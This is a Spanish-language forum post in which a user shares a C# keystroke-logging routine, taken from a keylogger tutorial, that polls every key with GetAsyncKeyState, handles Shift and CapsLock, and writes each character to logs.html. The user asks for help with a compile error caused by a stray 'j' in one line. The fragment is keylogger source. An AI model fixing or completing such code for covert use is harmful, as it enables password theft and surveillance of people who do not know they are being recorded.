Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - GangstaSik

#1
El siguiente codigo para detectar cuando se pulsa ShiftKey y CapsLock y asi registrar las mayusculas en un log lo saque de:

https://docplayer.es/3204615-Titulo-creacion-de-un-keylogger-lenguaje-c-autor-doddy-hackman-temario.html

private void timer1_Tick(object sender, EventArgs e)
    {
        for (int num = 0; num <= 255; num++)
        {
            int numcontrol = GetAsyncKeyState(num);
            if (numcontrol == -32767)
            {
                if (num >= 65 && num <= 122)
                    if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) &&
                    Convert.ToBoolean(GetKeyState(Keys.CapsLock)))
                    {

                        string letra = Convert.ToChar(num + 32).ToString();
                        savefile("logs.html", letra);
                    }
                    else if
                    (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)))
                    {

                        string letra = Convert.ToChar(num).ToString();
                        savefile("logs.html", letra);
                    }
                    else if (Convert.ToBoolean(GetKeyState(Keys.CapsLock)))
                    {

                        string letra = Convert.ToChar(num).ToString();
                        savefile("logs.html", letra);
                    }
                    else
                    {
                       
                        string letra = Convert.ToChar(num j + 32).ToString();
                        savefile("logs.html", letra);
                    }
            }
        }
    }

Al querer compilar en esa parte en especifico me salta el siguiente error:
Error   CS0103   El nombre 'j' no existe en el contexto actual   Main

Ya segui las recomendaciones de VS y nada funciona  :-[ , espero me puedan ayudar y gracias de antemano.